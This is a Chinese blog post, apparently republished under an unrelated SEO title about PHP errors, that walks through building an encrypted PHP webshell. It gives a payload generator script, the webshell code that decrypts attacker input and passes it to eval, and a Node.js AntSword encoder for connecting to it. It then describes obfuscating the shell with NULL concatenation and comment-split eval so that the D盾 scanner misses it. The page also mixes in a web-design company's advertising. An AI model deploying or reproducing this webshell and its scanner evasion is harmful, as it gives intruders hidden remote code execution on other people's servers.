這篇文章給大家介紹php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò),內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。
創(chuàng)新互聯(lián)是一家朝氣蓬勃的網(wǎng)站建設(shè)公司。公司專(zhuān)注于為企業(yè)提供信息化建設(shè)解決方案。從事網(wǎng)站開(kāi)發(fā),網(wǎng)站制作,網(wǎng)站設(shè)計(jì),網(wǎng)站模板,微信公眾號(hào)開(kāi)發(fā),軟件開(kāi)發(fā),微信小程序開(kāi)發(fā),十余年建站對(duì)成都發(fā)電機(jī)租賃等多個(gè)領(lǐng)域,擁有多年的營(yíng)銷(xiāo)推廣經(jīng)驗(yàn)。
在地氣文章末尾留下了送給大家的彩蛋(認(rèn)真讀文章的我肯定不會(huì)中標(biāo)~)。
下邊就和大家分享一下彩蛋的蛋是怎么玩兒的。
在地氣哥Payload工具中,key的值被復(fù)制了多次,為的是當(dāng)我們輸入Payload語(yǔ)句被程序進(jìn)行serialize之后,將每一位都進(jìn)行ASCII碼后的異或運(yùn)算,來(lái)逆推出加密的Base64代碼,我們可以從第25-28行的語(yǔ)句中看到逆推過(guò)程,是因?yàn)閺膕ubstr中來(lái)逐步ASCII碼。
我們看一下當(dāng)substr函數(shù)返回空時(shí),情況是怎么樣的。
我們看到,當(dāng)substr截取不到任何東西時(shí),PHP返回“空”,但是在進(jìn)行ord強(qiáng)制轉(zhuǎn)換后,返回的是實(shí)打?qū)嵉?,因?yàn)榈貧飧缰械膋ey是寫(xiě)死的,當(dāng)我們生成的Payload比較多的時(shí)候,就會(huì)出現(xiàn)0去異或程序中生成的第一次加密Payload某一位的情況,這顯然是不合理的。
解決該問(wèn)題最有效的方法應(yīng)該就是讓程序動(dòng)態(tài)的去復(fù)制粘貼Key,這樣可以達(dá)到長(zhǎng)度無(wú)限的情況。
這里筆者粘貼出已修改的腳本:
'aec7e489-2fbc-4b15-871f-1d686eeb80dc', 'a' => 'e', 'd' => $_GET['payload'] ); $seria = serialize($str); $cookiepre = ''; $pass = str_repeat('t', strlen($seria) - 1); $text = ''; for($i = 0; $i < strlen($seria); $i++){ $text .= chr(ord($seria[$i]) ^ ord($pass)); } echo $pass . '
'; $key = $str['ak']; $value = ''; for($i = 0; $i < strlen($text); $i++){ if(!$key[$i]){ $key .= $str['ak']; } $value .= chr(ord($text[$i]) ^ ord($key[$i])); } echo base64_encode($value);
測(cè)試效果:
成功解決了Payload長(zhǎng)度問(wèn)題。
既然解決了Payload長(zhǎng)度問(wèn)題,那么如果我們可以將該馬兒更加方便的使用,那該多好啊。
筆者想到的是,如果可以使用蟻劍去連接,那豈不是舒服的很。畢竟該國(guó)外馬兒加密的流量非常強(qiáng)悍的。
當(dāng)然我們要想要與蟻劍進(jìn)行交互,我們首先要解決一個(gè)問(wèn)題,該問(wèn)題是馬兒中的unserialize函數(shù)。
Unserialize函數(shù)是用來(lái)反序列化的,但是他方便了PHP的同時(shí)卻不太適合蟻劍,因?yàn)橄亜κ腔趎odeJs而開(kāi)發(fā),同時(shí)遵循了Js的語(yǔ)法規(guī)則,我們知道在Js中定義數(shù)組必須為索引下標(biāo),在PHP中定義數(shù)組下標(biāo)可以是字符串類(lèi)型,這牽扯到了該馬兒的核心:第48行的$vv[‘a(chǎn)k’]。如果我們使用unserialize函數(shù),可能不太方便Js與PHP的交互。
在一個(gè)正常的WEB應(yīng)用中,前臺(tái)(Js)與后臺(tái)(PHP/JAVA等)語(yǔ)言中,Json為主要的傳輸數(shù)據(jù)的格式,這里筆者將unserialize函數(shù)改為json_decode。如圖:
這樣起來(lái)我們就可以在nodeJs與PHP之間搭建一個(gè)溝通的橋梁。
新馬兒代碼:
$v){ $vv = $v; $kk = $k; } if (!$vv){ foreach ($_POST as $k=>$v){ $vv = $v; $kk = $k; } } $vv = @json_decode(x184f5cc(base64_decode($vv), $kk), true); if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){ if ($vv['a'] == 'i'){ $l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',); echo @serialize($l71c40); } elseif ($vv['a'] == 'e'){ eval/*r49557ec*/($vv['d']); } } exit(); } ?>
下邊筆者就編寫(xiě)了一個(gè)蟻劍的編碼器,他用于鏈接該木馬。
編碼器代碼:
/** * php::base64編碼器 * Create at: 2020/10/14 13:38:35 */ 'use strict'; /* * @param {String} pwd 連接密碼 * @param {Array} data 編碼器處理前的 payload 數(shù)組 * @return {Array} data 編碼器處理后的 payload 數(shù)組 */ module.exports = (pwd, data, ext={}) => { // ########## 請(qǐng)?jiān)谙路骄帉?xiě)你自己的代碼 ################### // 以下代碼為 PHP Base64 樣例 let obj = {'ak':'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a':'e','d':data['_']}; let objStr = JSON.stringify(obj); // 生成一個(gè)隨機(jī)變量名 let pass = 't'; let t = pass.repeat(obj.d.length - 1); let text = ''; for(let i = 0; i < objStr.length; i ++){ text += String.fromCharCode(objStr[i].charCodeAt() ^ t.charCodeAt()); } let key = obj.ak; var value = ''; for(let i = 0; i < text.length; i++){ if(!key[i]){ key += obj.ak; } value += String.fromCharCode(text[i].charCodeAt() ^ key[i].charCodeAt()); } data[t] = Buffer.from(value).toString('base64'); // ########## 請(qǐng)?jiān)谏戏骄帉?xiě)你自己的代碼 ################### // 刪除 _ 原有的payload delete data['_']; // 返回編碼器處理后的 payload 數(shù)組 return data; }
當(dāng)然,該編碼器的第15行的ak值,需要與馬兒中的key所對(duì)應(yīng)。
演示:
(馬兒密碼任意即可)
該馬兒流量是很強(qiáng)悍了,但是腳本本身并不免殺。
我們看一下馬兒被D盾吊錘:
怎么辦呢?繞啊,這么好的馬子,編碼器都完成了,不能前功盡棄!
看到提示eval后門(mén),參數(shù)$vv那邊有問(wèn)題,我們看一下:
很簡(jiǎn)單,使用NULL拼接大法(雖然一些普遍的馬兒都已經(jīng)過(guò)不了了)。
現(xiàn)在不報(bào)eval的錯(cuò)誤了,有戲!
可以看到爆出$GLOBALS的錯(cuò)誤,我們直接轉(zhuǎn)移到第6行看一下。
該代碼對(duì)整個(gè)馬兒不太影響,直接刪掉!
我們?cè)诳匆幌陆Y(jié)果:
ByPass!
通過(guò)地氣哥的一些分析,從其中得到一些靈感,NULL拼接不再孤獨(dú),再次奔放~!
之前一直疏忽一個(gè)問(wèn)題,$GLOBALS到底里面存放一些什么東西,今天,我們var_dump一下看看。
可以看到$_GET/$_POST/$_COOKIE都存放在這些東西里面。
這個(gè)時(shí)候筆者想到了eval/**/()格式,以及一些變量值的混淆,寫(xiě)出第二個(gè)簡(jiǎn)約一句話(huà)木馬。
Phpinfo:
D盾測(cè)試:
關(guān)于php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。
文章名稱(chēng):php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)
分享URL:http://weahome.cn/article/gdsheo.html